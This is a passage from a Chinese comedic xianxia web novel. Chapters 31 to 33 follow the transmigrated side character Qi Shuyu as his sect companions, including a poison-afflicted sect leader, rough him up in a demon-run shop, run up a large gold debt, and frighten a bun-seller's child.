薛殷眉头微蹙,伸手把齐舒玉从云岁鸿怀里撕下来,粗.暴地拎进了门。他力气大到齐舒玉打了个踉跄,不满地抱怨:“你干嘛啊。”
少年用那双漆黑的眸子静静盯着他,一言不发。
齐舒玉沉了进去,似乎飞梭在落雪白皑的山间,冷冽空旷,他被冻得打了个哆嗦,惊醒后赫然回首望向身后,再转回来,轻轻地扇了自己一个嘴巴子。
“师弟?”
云岁鸿突然出声。
齐舒玉不管不顾,两只手堵着嘴巴埋头往前冲。
少年被他丢在后面,侧身而立,握着剑柄的手指骨节清晰,淡淡掀起眼皮:“大师兄唤我?”
一时间,
空气中似乎有无形的潮水在涌动。
高大的蒙眼剑士步履平稳地略过他:“无事。走吧,薛师弟。”
前方管住嘴迈开腿的齐舒玉哼哧哼哧追上了那对狗男女。
这家店不愧是女主钦点。
多看一眼齐舒玉就已经在心里发表了大量咯噔文学,
今天绝对要在这里栽个跟头才能走的掉!
里面空间很大,非常大,超级大,相当于一层有二十多间寝室的楼面,而一楼除了个通往天堂的楼梯与几根支撑房梁的粗壮柱子,空空荡荡,呼吸声稍微大点都怕传到楼上去。
和其他家做正经黑心生意的店铺摆设完全不同。
上官玲珑踏上一层楼梯,整个人沐浴在白茫茫夹杂金色的渐层朦胧光线中,出水芙蓉的面庞愈发圣洁美丽,柔荑轻搭在扶手上,垫起脚,闭上眼,扬起纤细修长的天鹅颈:“哇——这里的光好美啊。”
不说别的,
上官玲珑长得有几分姿色。
齐舒玉擦掉口水,歪着头左看右看。
但三个男主真的不觉得她脑子有毛病吗?
这么能容忍,
难怪有戴绿帽的本事。
棠风甚至笑意浅浅地附和道:“上去瞧吧,小美人,说不定有别样风景。”
上官玲珑无比欢快地‘嗯’了声,咚咚咚地跑上楼梯,每一步都像是踩在齐舒玉的心尖上,回声响彻一楼大厅。
他吞咽一口,很男子气概地抱住了身侧离他最近,看起来没几两肉的胳膊,怀里触感不禁让用力过猛的他痛呼出声:“诶?薛殷你胳膊怎么也像是抡铁的啊,硌得我怪难受的。”
冷面酷少斜睨他一眼,
很青春期叛逆地拔出了胳膊。
齐舒玉对他傲娇的态度强烈不喜,眉头紧锁:“跟我装害羞?少来这一套哈待会儿等我害怕起来走不动路你就老实了。”
薛殷眼中寒潭千尺,高深莫测地说了句:“忍耐片刻。”
齐舒玉婉拒道:“不要。”
他俩正单方面水火不容着,一只红色衣袖适时出现在齐舒玉眼下,露出袖袍的大手骨节分明修长,皮肤苍白到蓝紫色血管一览无余:“巧了,那小美人活泼好动,不肯停歇,本宗主正缺个身畔作陪之人,你与我同道如何?”
齐舒玉抬眸。
棠风的人妖笑在死亡顶光照射之下和厉鬼都没有区别了。
“你长这么丑也害怕鬼啊?”齐舒玉为难道:“那你可不要挨着我走,你这公鸭嗓叫起来,我耳朵很敏感的肯定受不了。”
他关不住嘴,一边头不敢抬地大放厥词,一边想越过棠风往云岁鸿边上走,却在迈开脚步时被薛殷揪住腰带扯回来,拽着上了楼梯。
这回齐舒玉再去勾他胳膊,薛殷又允许他勾着了,真他妈奇了怪了,也不知道刚刚是在不好意思什么,都是大吉吉男人,就属他最矫情。
踏上二楼的那一刻。
大开齐舒玉眼界。
离开明亮的楼梯口,整层楼都沉寂下来,陷入幽暗摇曳的烛光之中,大片大片丝滑柔顺的红帐垂落,无风微荡,被烛火一照,将空气都染成暧昧缱绻的绯色。
墙上挂满了各种奇形怪状的器具,连内层镶嵌宝石的手铐都有,被封在一个个钻石切面设计的精致琉璃罩中。
齐舒玉已经把身边的薛殷忘得一干二净了,放开他就朝前走。
‘啪’地一声,棠风的扇子开了,十八根尖刺从十八股扇骨中弹出,拦住了齐舒玉的去路,在昏暗中,那颈侧蜿蜒而上的妖丽藤蔓仿若来自深渊,喉间沙哑得像是被砂纸磨砺过:“去哪里?”
齐舒玉呆呆地推开折扇,嘴巴张大得能放下鸡蛋:“这、这么多灵器啊?”
他撩起面前的一片红帐,痴迷地趴在琉璃罩前。
刀、戟、剑、枪、斧、鞭……甚至流星锤,都能在这些器具中看到它们的身影,不知道是哪个兵器大佬,能将它们搞出这么多酷到炸的组合。
啊!可恶!
好想要的!
齐舒玉现在使用的长剑虽不是薛殷那种破烂,但也是从白平飞那里继承下来的普通大厂货,一般剑修不吃不喝攒个一两百年
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也是能买到的,与棠风和云岁鸿的那种绝版定制有着云泥之别。
现在连薛殷和上官玲珑也很快会得到他们的天命法宝了。
齐舒玉心里酸酸的。
只能再活十章了,死前总要不留遗憾吧!
这些灵器不知什么来头,泄露出的灵力可比自己手头长剑充盈好几倍。
哪个好人家的大男孩不爱买点装备?!
想要想要想要!
他45摄氏度悲痛望天,留下一滴热泪:“棠哥!我要借钱买武器打败你们!三分利也行反正等我死了以后也是不会还的。”
“棠哥?”
没有听到棠风的回应,他扭头去找人。
棠风很诡异地站在烛光难以企及的黑暗处,齐舒玉看不清他的神色,只能隐约推测出他在和自己比谁更‘忧郁王子’,看来自己刚才那副造型确实把他帅出危机意识来了,使得他很嫉妒地拒绝道:“不借。”
齐舒玉:……
死嘴!什么秘密都保不住还要你干嘛?!
“这些不是你该碰的。”
“你什么意思啊!嘲笑我穷?”
不过一想到加上云岁鸿那份也只有区区25两的银子,齐舒玉心头梦火被一大桶冰水扑灭,嘟囔道:“穷怎么了,穷也有梦想啊,我也想换新武器嘛,你是不是没听说过莫欺少年穷莫欺中年穷莫欺老年穷啊!”
他的黯然销魂销到一半,就被薛殷拎起后领继续上楼,少年嗤笑:“齐舒玉。真不知你如今是装傻还是真傻。”
“你有病吧突然骂人,”齐舒玉心怀怨愤地用胳膊肘捅他:“你才傻呢大傻春!”
这一击薛殷轻松接下,
反而他的胳膊被捏得生疼。
“你不知道那些是什么?”
“知道啊,当我傻么认不出来?”
少年冷到掉渣的声音如毒蛇嘶语在他耳畔,一字一句几乎是从牙缝中挤出:“看来你忘得彻底,那就最好再也别想起来。”
“喂!我说我知道啊!你到底有没有在听我说话!”
薛殷彻底无视了他。
没有地位的炮灰齐舒玉骂骂咧咧着,和另外三个安静如鸡的狗男人盘旋而上。
经过三楼四楼五楼他都被薛殷无情的铁手抓着,没机会去研究这几层到底有什么,一直像个英雄一样走在光里都给他走瞎了,且越往上,楼梯灯越亮,他干脆闭上眼,反手拽着薛殷继续走:“还是大师兄体贴。”
他现在真的好后悔,当初骂了云岁鸿骚货之后该及时道歉的,不然也不至于这会儿骑虎难下,不敢跟着云岁鸿走。
眼皮上有温热干燥的掌心覆盖住,薄薄的茧擦过,遮住了穿透力极强的光芒。
“你也还行,”齐舒玉孺子可教也地点头:“调教调教也能用。”
不知又走了多久,正当他在唾弃魔族有这么强的造物本领也不知道造个电梯时,终于停了下来。
“嗯,”棠风很恶心变态地喟叹一声道:“小美人的气息亦是消失于此。”
齐舒玉把薛殷的手扒下来,还没睁开眼,又放回去了。
真是太刺眼了,
被这么大瓦数的白织灯对着眼睛照,让人差点以为自己苟到了大结局。
上官玲珑一定要找这种地方出点状况吗!
她到底什么时候才能懂事啊。
31. 训狗
“向东走罢,有两道暗门。”自从进门后就没了存在感的云岁鸿低音沉声道,强光之下大家肯定都看不见,倒是方便了本来就蒙着眼睛的他装逼。
“南向也有一道。”
“北向亦是。”
少年冷峻的嗓音与变态的低哑笑语同时响起。
齐舒玉:????
都当过在聚光灯下走红毯的idol?
他不甘示弱道:“这个强度的光你们能看得到个屁啊大家都不是自己人还在这里编,睁眼说瞎话是吧,我还吹西边有狗洞呢!”
“阵中有金根气息,唯独你目不能视,看来本宗主没错,你果然是单木灵根。”
有人笑了声。
“小狗子,你来时的梯道正是在西。”棠风的红霄扇轻摇,微风将身上胭粉带到齐舒玉鼻尖,多亏了他武器是把能扇风的,终于快把他身上的脂粉气扇完了。
但不影响那味道依旧难闻。
齐舒玉捏住鼻子:“死变态离我远点你怎么越来越臭,是吓尿了还是有狐臭啊。”
空气静默下来。
他不明所以地歪了歪头,瓮声瓮气地‘嗯’了声。
刹那间——
危险气息化作无数根尖刺扎破了祥和的湖面,翻搅出惊涛骇浪。
他只觉得腰带被什么东西勾住了,紧接着眼前大亮,背脊贴着地面被拖行了十几米远,突如其来的变故快到他甚至来不及抽剑,便被抓着衣襟举了起来。
这套动作齐舒玉熟悉得很。
在历练的那几天棠风就是反复用的这招,但凡齐舒玉和其他人在背后说他点坏话,总会被他拿勾子拖过去,用眼底的狠戾与威压警告一番。
往日齐舒玉自然是会害怕得乖乖听话。
但现在不同。
看不见的他盲目自信了起来。
棠风大概也是没想到他竟然会反抗,被他钻空子搭住肩膀,看着他的头炮弹似的砸过来,偏开了脖子。
齐舒玉不知道自己撞到他哪儿了,鼻子狠.狠碰上了坚硬的骨头,感受到了疼痛与分不清来自谁的震颤,热乎乎的液体顺流而下。
他闭着眼哼了声,着急忙慌抬手去捂,湿热的血堵不住地从指缝中流淌出来,生理泪水狂飙。
少年的爆呵顿时从远处传来,长剑出鞘的刺响划出肃杀寒气:“放开他!”
“不自量力。”
齐舒玉听见棠风近在咫尺的呢喃声。
随即“砰——”地一响,有东西砸在了坚硬的壁垒上,发出骨头断裂的声音。
“唔。”
少年闷哼一声,
浓郁的血腥气铺天盖地地蔓延开来。
“薛殷?薛殷?”
齐舒玉男人的第六感警铃大作。
“啧,不禁打,这就昏过去了。”
“我操!你们在这个节骨眼打什么架啊傻逼吧!”齐舒玉吓懵了,眼睛怎么也睁不开,胡乱摸索着在棠风耳边大喊大叫:“死变态你怎么打小孩!”
棠风低低地‘嘘’了声,不知用哪来的绳索捆住了他双手,把他拎开了些,大手掐住他的下颌:“别急,该轮到你了,齐舒玉。”
齐舒玉心跳漏了半拍,
上个不服的已经被他一招打趴下了。
“怎么打了他还要打我真讨厌我早说了这人脑子不正常老是打打杀杀的我靠我怎么又管不住嘴了啊救命啊咳咳——”
腥甜的液体顺了进来,
他得以闭嘴砸吧了一下。
咸咸的。
“帮我擦擦,”齐舒玉小心翼翼地命令道:“吃鼻血的事情传开了对我的清纯形象没什么好处的求求你了死变态啊啊啊说错了要喊我的好哥哥。”
棠风没拒绝也没答应,
绝顶变态地哼笑了声。
然后,伸手把血抹得到处都是。
他的手心越来越热,
热到发烫。
刺鼻的血腥味与浓烈脂粉香也随之蒸腾,混合成奇怪的腐败气息糜烂在鼻腔中,齐舒玉不禁很大声地干呕起来:“不要了!好臭,你——呕——离我——yue——yue”
很快,
他yue不出来了。
嘴巴被不明玄幻力量封印住了。
干呕变成闷声反胃,齐舒玉泪流满面着唔唔唔瞎叫唤,脖颈间攀上一只手,算不上明显的喉结被粗糙干涩的大拇指按住,一点点加重力道,声音嘶哑如地狱魔鬼:“既然管不住自己的嘴,本宗主替你管管。”
几乎看见白光的齐舒玉在濒死之际想起了脑子里的鸡翅。
啊啊啊啊啊啊啊哥快救我啊,我要被变态搞死了!
“棠宗主,”与此同时,云岁鸿的低音炮犹如天籁:“适可而止。”
棠风还是笑,可除了他的变态低笑声,齐舒玉还听见了有东西‘咕叽咕叽’在皮肉中蠕动游走,不适感强烈冲刷脑神经,难以抑制地冒出了大片鸡皮疙瘩。
“哦?本宗主以为你是最会审时度势,也想冒这个险么?”
云岁鸿终于动了,沉稳的脚步声击破了空气中的窒息,不动声色道:“宗主受了重伤,云某未必不能一战。”
他在几步之遥停了下来:“如师弟所言,棠宗主用香的确浓烈了些。”
“呵,被发现了。”
男人妖冶魅惑地笑起来,无所谓道。
脖子上的力量卸去,新鲜空气终于灌进肺里,张不开嘴的齐舒玉鼻息深重,眼泪哗啦啦地流。
太好了。
嘴巴终于被封了!
不然这会儿和棠风全家十八代祖宗对骂被他听到就麻烦了。
“好吧,现下不是与你动手的时机,”棠风识趣道:“出去再说。”
“至于你——”
他将手盖在齐舒玉脸上,温热的灵力一点点蚕食掉血迹,指尖气味又惹得齐舒玉胃中一阵涌动,睫毛湿颤,鼻尖眉心红得透彻。
那通红的鼻尖被人亲昵地点了点。
“不仅吵得本宗主心烦,还引你师兄生疑,安静点才好些。”
棠风牵起绑住齐舒玉双手的绳索,往前将人拉了一个趔趄,说出来的话中二变态又很阴毒:“小狗子在这里可要好生跟着本宗主,若再敢乱跑,打断你的腿。”
齐舒玉被他侮辱成狗,
又气又怕地撅起嘴默默掉眼泪。
——Round 101。
起义失败。
“接下去,选哪个门好呢?”
棠风自言自语起来,似乎陷入了沉思。
没人回答他。
他便拽了下绳子:“小狗子选吧,不是鼻子很灵敏么。”
齐舒玉睫毛还湿漉漉地打着绺,抽吸声停不下来,很硬气地偏头不理他。
“北门?”
棠风自说自话地道了声好,齐舒玉听他长袖挥舞,有东西‘轰’地从他袖口飞出去,把那边霹雳吧啦砸了个稀巴烂。
不是,
那个方向……
该不会有薛殷的尸体吧?
他这念头刚出来,
棠风便语气无比遗憾道:“你倒是对这个师弟也不错,不愿看他尸骨无存么。”
云岁鸿站在远处没有搭话,棠风似乎对他有几分忌惮,也不追问,低沉哑笑厮磨在齐舒玉耳边,毒虫似的钻进他耳朵
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里:“小狗子闻错了,再选。”
齐舒玉:……
这哥们真的精神没问题吗?!
他慌慌张张地再度连麦云岁鸿:“大师兄!现在我们怎么办啊,这变态疯疯癫癫的。”
云岁鸿的声音多了几分凝重:“师弟,暂顺宗主心意而为,他似是藤毒发作了。”
齐舒玉重复道:“藤毒?”
“他身上的异纹便是‘藤毒’。我与棠宗主在凡间结识时曾见他发作过,所以事后了解些许,但因情谊并不深厚,不好贸然探讨更多。”
“这毒要发作到什么时候停?我从来都没见过他正常的样子。”
云岁鸿那边挂机了两秒。
“藤毒是他对薛师弟出手时方才发作的。”
齐舒玉窒息住了。
看来有钱人平时也玩得变态不是假话。
“小狗子怎么不理主人?”
下巴上有温热指尖摩挲过,打断他的思绪,不甚尖利的指甲似有似无地轻刮着一路向下,在齐舒玉喉结上轻轻柔柔地打圈,激起一片片颤栗。
齐舒玉眼皮狂跳。
去你妈的中了毒的变态,
性.骚.扰啊这是!
这毒不会是以后用来当作和女主play中的一环吧!
等、等等。
他还在云岁鸿面前发作过。
对云岁鸿也这样摸来摸去的?
云岁鸿怎么都不说点什么,好像死变态很正常的样子,难道云岁鸿他也是……
“师弟,宗主毒发时情况不同,无法一概而论。”
男人正经有磁性的声音在齐舒玉耳边炸开,马上唤回了他奔腾的神志。
操!
齐舒玉‘啪’地捂住了脸。
“你能不能不要老是偷听我讲你坏话啊!!!”
他后悔了:“这契声符能不能取消掉?照我这活不久的本领传音符就够了。”
云岁鸿的声音难辨情绪:“待你我之中有人能重塑肉身。”
“我靠,重塑肉身要等到什么时候?”
“飞升之时。”
好。
重新投胎是吧。
现在就投。
他在心里鬼哭狼嚎地威胁道:“求求你了大猛男好哥哥那你以后自觉点,别听到不该听的话可以吗?因为我说的都是不值钱的真心话。”
“你先应付棠宗主,余下的交予我。”
云岁鸿有被他威胁到,避而不答,害怕地下了线。
被迫孤身作战的齐舒玉倒吸一口凉气,
颤颤巍巍地抓住棠风的手指。
既然事情已经发生了。
还是那句老话。
叔不可忍,
但侄子能忍。
只要不真的对个男人献身,摸一摸又有什么呜呜呜呜忍不了太他妈恶心了。
万人迷万人迷,
万万不能让男人着迷啊!
“小狗子在跟主人撒娇?”
棠风忽然间语气好了起来,明显是被齐舒玉的动作取悦:“想要什么,说说看。”
齐舒玉:……
说你爹的媒啊说,他这破嘴说的话还能听吗?!
青年小小呜咽一声。
握住棠风的手将其五指并拢,在他脸上摸了个大概,手掌朝下放在他的太阳穴上。
随即泪水澎湃地回了一个双手捆绑式敬礼。
国家保佑!
不能再让歪风邪气影响吃瓜群众们的正直发展了!
小说里那些不该中的毒不能再中了。
我,齐舒玉,实名发誓支持严打市面上的一切狗男男。
32. 负债
至于云岁鸿说的其余交给他。
齐舒玉算是听识到他速战速决本事了——把其余几个门全轰烂。
直接来了个损敌八百,自伤三千的招。
为了收拾棠风,非要把老板闹出来赔上他们三师兄弟的命?
薛殷还怀疑云岁鸿三年从筑基飞升元婴有诈,他也不起来看看,云岁鸿那猪脑子天天给自己搞点地狱副本,实力能不大增吗?!
老板无声无息地出现了,愠怒道:
“虽天尊立下规矩,天水街内来者皆客,是以我愿容忍三分,但诸位也太不把我魔族圣女放在眼里了。”
听到声音后,齐舒玉不由大松一口气,把僵在头顶敬礼的两只猪蹄放下来。
运气好,安全了。
老板是个女人。
言情文的女人不喜欢打架,
只喜欢谈恋爱!
很快,劫后余生的齐舒玉就想起来了。
魔族圣女?
是头上长鹿角,一万多岁还给自己取了个人名叫小樱桃的那个?
原文里没有明说但暗示地很清楚了,看中了薛殷美色的她不仅帮他崛起,还是第一个在薛殷开始和银翼天尊抢地盘后倒戈的高阶魔族。
不过就算她事业搞得很成功,但年纪很大了,在薛殷眼里还是比不上年轻漂亮且没啥用的女主。
齐舒玉嘴巴里酸溜溜的。
能让花怒娇、小樱桃这类霸王龙女强人都心甘情愿出门上班养他,薛殷是天生小白脸体质吧!
命真好。
可恶!
“哦,”棠风的毒也不知道是作用在哪条神经上,精神失常的同时又很讲道理:“损坏多少,赔你便是。”
齐舒玉闭着眼睛都能感觉到魔族圣女的怒气值消了。
“三千两,黄金。”
“总计么?”
“总计。”
“那你分开算,本宗主只损了一处,”齐舒玉感觉自己手上的绳子有拉扯感,似乎被棠风缠在了手心,听他铁公鸡道:“冤有头债有主,再把你藏的两名女弟子交出来,我与你就地两清。其他,就是墨君山坤元剑派大弟子杀魔狂人云岁鸿,云道友的事了。”
齐舒玉:……
不是!
这变态也考六级吗?!怎么什么词都记?!
小樱桃是魔族,听到‘杀魔狂人’几个字自然就不高兴了,谁都不肯放过:“无论是谁,既然你们一起来的,就是狼狈为奸的同伙,三千两黄金,少一文钱都别想离开。”
云岁鸿作为经验丰富的杀魔狂人,还是很清楚哪些魔能杀,哪些魔不能杀的,客气道:“抱歉,事出有因,云某自会勉力赔偿,还请圣女告知我两位师妹的下落。”
“那两丫头都是你的师妹?”
小樱桃语气陡然冷冽:“你那师妹倒好,一进来便打砸我的东西。她师姐晕倒在这,我好心带去休息倒成我的不是了!”
她恨恨道:“再加一千两黄金。”
齐舒玉都想冲出去质问她了。
也不看看女主那个德行值一千两黄金吗?!
魔族搞出嘴巴来就是为了乱开价的?
棠风不置可否道:“人在哪里?”
小樱桃冷哼。
“出来吧。”
齐舒玉随即听见了少女呜咽着摔倒的声音,他被棠风牵着走了过去。
上官玲珑嘴巴一打开,就开始哭哭啼啼地嚷嚷:“呜呜呜呜老毒妇,我师兄们都来了,还不束手就擒!你到底对我师姐做了什么呜呜呜,从实招来!”
“她自己晕倒,与我何干。”
“为何她不在外面晕倒,偏偏在你这魔族的店里晕倒!”
“何不待她醒了再问。”
哎。
小樱桃也肯定是魔族里脾气好的,
这样都没打死她,只要一千两黄金。
“如果不是你动了手脚,”上官玲珑渐入佳境地爆哭:“她怎么会昏睡到这个地步,哇哇哇哇哇这么多法子都试了,她还不醒!”
她哭着哭着。
齐舒玉手上的绳索松动了。
“失礼。”
他听到棠风忽然哑声道,
嘴巴上的502也瞬间被清理干净。
齐舒玉活动着手腕。
上官玲珑不愧是神医,还没治,棠风就好了。
他寻向声音来源,扬起下巴沉着脸摆架子:“不接受口头道歉需要重金赔偿但你要再敢打我就当我没说过这话。”
棠风低低地笑了声。
“好,解决了眼下,出去本宗主再好好收拾你。”
靠!
武力值爆表的有钱人怎么能真的抠到没有人性!
齐舒玉惜命地闭嘴了。
棠风转而又去安抚起上官玲珑来:“别哭了,小美人,你师姐已经醒了。”
“没有哇哇哇!你也骗我!”
“嘘。”
他的声音悄然变得狠戾。
“再不睁眼,别怪本宗主——杀了你。”
空气中有滚烫的焦灼气味,滔天灵力磅礴汹涌,杀意顷刻间压得人喘不过气来。
“不要——我醒了,我醒了!”
地上的女修一骨碌爬起来,讪笑:“方才醒的,还有些头昏脑胀,所以琢磨着再休息会儿。”
“太好了,邱师姐!你没事就好!”
上官玲珑喜极而泣,似是拥住了她:“幸好我们来得及时,这老毒妇才没有对你下手!”
齐舒玉:……
言情文里女主不招女人待见的原因找到了。
钱最后还是在场唯一的氪金玩家掏的,
小樱桃的声音听着就谄媚了起来,甚至看到有气进没气出的薛殷时还主动送了丹药。
不知道她看见薛殷时有没有一见倾心,但她在齐舒玉和云岁鸿中竟然选择只夸薛殷长得俊,多半以后日子很难过。
小樱桃热情洋溢地把他们送出了门。
这会儿,上官玲珑成功找到了邱姗姗;薛殷成功在未来爱慕者面前漏了脸;小樱桃成功得到了拆迁款;齐舒玉成功保住了首席弟子的饭碗。
皆大欢喜
——个屁!
齐舒玉现在对邱姗姗和云岁鸿两人怎么看怎么不爽。
他进门前还有25两白银,
出来就背负1950两黄金巨债。
棠风砸碎那点地方只需要100两黄金,剩下2900全是云岁鸿搞出来的破坏。
齐舒玉暴怒:“那为什么上官玲珑的一千两也算在我们头上!怎么不让她自己还!”
天知道他刚刚有多想问那店里的灵器多少钱!!
张不开嘴了都!
棠风神清气爽地扇着风:“你那好师兄应下的。”
“云岁鸿????!”
他咆哮起来:“你搞什么?有异性没人性是吧?!”
云岁鸿沉声道:“师弟,上官师妹年幼——”
“年幼?跟你比我还年幼呢!年纪轻轻就欠大笔债,以后怎么老婆孩子热炕头啊,我看灶头都是冷的!你不跟我解释清楚,咱俩没完!”
“师兄——”
上官玲珑突然走出来,扯着齐舒玉的衣袖晃了晃,微微低头,咬着粉嫩唇瓣,一双清纯的小鹿眼从下往上看着他。
“什么事。”头顶炸毛的青年干巴巴地严肃道:“有话说话。”
上官玲珑眼圈微红,可怜又无辜:“玲珑知错,以后再也不莽撞了。”
“知道错了就行,”齐舒玉把衣袖扯出来,板起脸:“这次一千两我和你大师兄想办法,但没有下次了,听到没。”
少女娇娇软软地‘嗯’道:“师兄还生气么。”
齐舒玉言之凿凿地切了声:“我才不跟你一个女的计较。”
见他平息许多,瘦瘦小小的邱姗姗才从上官玲珑身后慢慢踱步现身,细鼻子细眼,一副老实讷木的面孔:“首、首席,都是因为我—
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—”
“你也知道是你的错,没事跑这种地方来干嘛?!”齐舒玉不敢打女人,没好气地对着来时见过的魔界牌匾发泄了一脚,牌匾完好无恙,他痛得嘶哈嘶哈跳起来:“她欠的那一千两里面你也有份,你还五百。”
邱姗姗那张扔人堆里也找不到的脸一下子涨得通红,眼神紧张慌乱地扫过在场冷眼旁观的几人,扑簌扑簌落了泪:“我、我只想买罐胭……”
“买什么买,长得又不好看少来装可怜这套。”
齐舒玉手动挡住自己看向邱姗姗的视线,大步流星朝街外走去:“怪就怪你自己喜欢乱跑。”
棠风不知不觉跟了上来,声音痒痒地钻进耳朵里:“你倒是会厚此薄彼。”
他出来后第一时间重新倒了瓶香粉在身上,
这会儿呛得吓人。
齐舒玉打了个大大的喷嚏,鼻子酸痛得不行:“受伤了不能治吗你?撒粉是遮掩什么,很严重吗?”
棠风唇角动了动,丹凤眼愉悦地眯起来,展开折扇挡着脸戏谑道:“担心本宗主,想知道本宗主受了什么伤?”
“没兴趣知道,你这种看起来秘密很多的变态伪人可别来害我,”齐舒玉吓得迅速退开,连连摆手:“我就是想单纯推荐云岁鸿替你疗伤折磨你一下顺便收点钱因为他不仅治不好还让伤口贼痛。”
哦豁。
说太多了。
齐舒玉在棠风越来越阴暗的目光中飞速掉头,挤开薛殷,警惕地抱起云岁鸿胳膊。
薛殷被挤得打了个晃,
他刚大出血过,脸色苍白得像张薄薄的纸。
见他都这鬼样子了还小气得要来抓自己,害怕被两男主同时报复的齐舒玉贴得云岁鸿更紧了。
“走开,小弱鸡。”
薛殷脚步一顿。
他漆黑的眸子深如冰川寒水,就那么一言不发,静静地看着齐舒玉。
样子很凶。
直到齐舒玉不自在地往云岁鸿身后又躲了躲,他才面无表情地离远了些。
齐舒玉被血气扑鼻的少年看得心脏砰砰跳,头搁在云岁鸿的半扇冰箱门上,长须口气。
还是老古板正常点,身上从没有乱七八糟的味道,只有荷尔蒙爆棚的男人味。
**
没想到天水街能一直将时间维持在白天。
折腾许久,
出来时外面已是日落西山。
齐舒玉这些天都在对长垣的话怀恨在心,总会有意无意地不吃东西,但这会儿实在顶不住唯一一家卖包子的夜摊就摆在街外。
肚子不受控制地咕噜咕噜起来。
二十出头的摊主揉着面招呼他:“仙长来两个包子么,热腾腾刚出炉的鲜包子。”
他旁边六七岁的小男孩也‘腾’地起身,眼睛亮亮地一个劲儿朝他招手:“仙长真像下凡的神仙呀!神仙哥哥要肉包子吗?!”
齐舒玉吞了吞口水,点头:“我最近吃得少,只要十个哈。”
小孩惊了一瞬,还是麻利地将包子递给他,笑嘻嘻道:“多谢仙长,五十文。”
齐舒玉的笑凝固在嘴角。
怎么、怎么这里买东西也要钱?
他现在是穷光蛋还怎么给钱?!
想到平时在门内是以物易物,于是齐舒玉掏了张从来没用过的白平飞专用传音符:“这是坤元剑派掌门祝岳明没什么名声的师兄白平飞给多的传音符,虽然对我来说是废纸但对你们来说应该可以拿去换钱吧,或者有事也可以找他,报我齐舒玉的名就好。”
摊主的脸上青白交接了一阵,最后赔着笑脸道:“肉包子仙长想要便拿去吧,不值钱的,这符纸便不用了。”
齐舒玉犹豫了一下:“真的不要吗?”
“我们不要这没用的东西!我们要钱!”那小孩大叫着冲出来,拳头砸在齐舒玉身上:“又来个土匪头子!滚啊!你们滚出乌水镇!什么狗屁仙人,拿我们老百姓东西不给钱,魔族都比你们像个人!”
33. 忍
齐舒玉呆愣愣地站在原地不知所措。
棠风一把将对着他拳打脚踢的小孩提了起来,一双凤眼危险地半眯着,藤蔓渐渐显露,低哑的嗓音里暗含杀气:“找死?”
十个包子通通滚落地上,脏兮兮地沾满泥土碎石,
小男孩儿‘哇’地一声哭出来,震耳欲聋。
摊主哆嗦着跪了下来,哭颤道:“仙长、仙长,孩子还小——孩子还小,他不懂事啊!”
他的额头在地上磕出一道道淤青和血痕。
“仙长!符纸我们也有用的,符纸我们也有用的!”
“起来。”
苍白如纸的少年冷声道,上前半步,手背青筋浮现,半掺半扶地将摊主拉了起来。
摊主却挣开他,又软着脚跪了回去:“小虎——仙长,高抬贵手啊,小虎,快道歉!”
“哇哇哇哇我没错!我没错!你们滚出去!哇啊啊啊啊啊乌水镇不欢迎你们这些土匪!”
“小虎——!”
“师兄!棠宗主!”
上官玲珑扑了上来,用力去掰扯棠风的手:“你们在做什么,快放手啊!”
棠风侧过脸看她,艳丽的藤蔓又从面颊缩回去,他冷冷笑了声,手一松,小虎直接掉到地上,哭声更加刺耳。
小摊主四肢并用地爬过来,满脸惊惧地抱起孩子,冲着棠风又磕了两个头:“多谢仙长——多谢仙长。”
“滚。”
“是,是是,都怪小人唐突。”
摊主用最快的速度将东西都收好,连同小男孩一起放到了推车上,头也不抬地推着车子跑了,连鞋子掉了只也不敢停下来捡。
上官玲珑双眼被怒火烧得极其透亮:“棠宗主!你为什么要欺负一个孩子。”
棠风不紧不慢地扇了扇风,藤蔓再次从衣领下露出枝叶,静静伏在颈侧:“不知好歹的凡人罢了。”
“他只是一个不懂事的孩子!”
“那又如何。”
“你——”
“哎呀师妹,”邱姗姗拖走上官玲珑,眼神战战兢兢地瞥过棠风,谨慎讨好道:“棠宗主说得没错,凡人罢了,不值得你为他们与宗主动怒。”
“师姐!”
邱姗姗视线又滑过玄衣金领的青年:“再说了,是他们先对首席无礼的。”
上官玲珑声音弱了下去:“那也不能……”
“我们走吧,”齐舒玉突然出声,打破了几人的争吵,望着已是空无一人的街道:“还要巡逻呢。”
“嗯?”
棠风贴过来,浓烈粉香将齐舒玉逼退几步:“那小东西伤到你了么。”
“他怎么伤我,”青年湿漉漉的圆眼半垂耷拉着,好笑道:“我修为已达筑基,他不过是一介凡人。”
棠风视线意味不明地打量着他,眸光凌厉。
齐舒玉被那双锐利妖邪的丹凤眼盯得得手心冒汗,不由自主搓着大腿两侧:“这么看着我干嘛?”
“无事,走吧。”
棠风红袖一挥,径直走在前方去了。
几只伏在草丛中的精瘦野狗后方蹿出来,叼着地上的肉包一溜烟儿没影了。
齐舒玉叹口气。
“可惜了,肉包呢。”
“下次别再去寻常人的摊子。”少年冷得听不出其他情绪的声音略过他,单手搭在剑上,背影瘦削挺直:“燕问雨提醒过。”
上官玲珑颇为恼怒地冲着齐舒玉跺了下脚,拽着邱姗姗追了上去:“等等我们呀,薛哥哥。”
……
周遭静了下来。
“师弟。”
齐舒玉扭动僵直的脖子回头。
在余晖的映衬下,
白衣剑士高大健硕的身影金光闪耀,淡麦色皮肤漆上蜜色光泽。
眉眼间缠着红莲生长的黑布,屏蔽了一切妄图窥探的视线,平添几分悲天悯人与庄严肃穆之感。
他开口了。
“乌水镇并非人眼所见那般宁静,”云岁鸿认真告诫齐舒玉道:“口腹之欲,忍耐片刻。”
齐舒玉的脸色终于变了。
他红着眼一脚踹在云岁鸿的金刚大腿上:“忍你妈啊忍!老子都饿三天了要不是你至于50块都拿不出来搞成这样吗?!”
腰间的剑弹簧般发射出鞘,齐舒玉抹掉翻涌的眼泪大步跨了上去。
脚下灵力喷薄溢出,
长剑直冲云霄。
“师弟。”
云岁鸿又唤了一声。
低沉醇厚的余韵在耳边发颤,
齐舒玉这才猛地回神。
他向下俯视,已经飞到分辨不清街上行人的高度了,心里顿时兵荒马乱起来。
怎么办。
怎么办呐。
没、没有刷到过网友分享这种情况啊。
再左右张望时,
云岁鸿居然背着剑像救世主一样光芒万丈地悬在他身边。
齐舒玉哇地嚎出警笛声来。
“哇嗷哇嗷哇嗷啊啊啊啊云岁鸿这也太几把高了,我要吓尿了啊啊啊啊!”
“莫慌。”
沉稳的低吟不设防地钻入脑海。
齐舒玉哭声一滞,高空中的风趁机呼啸着灌进他嗓子眼,给他难受得老老实实闭上了嘴。
下一刻,
云岁鸿竟然抬脚贴着他站在了剑尖上。
长剑一抖,像是喝醉了酒的机长遇到强气流,不停颠簸摇摆。
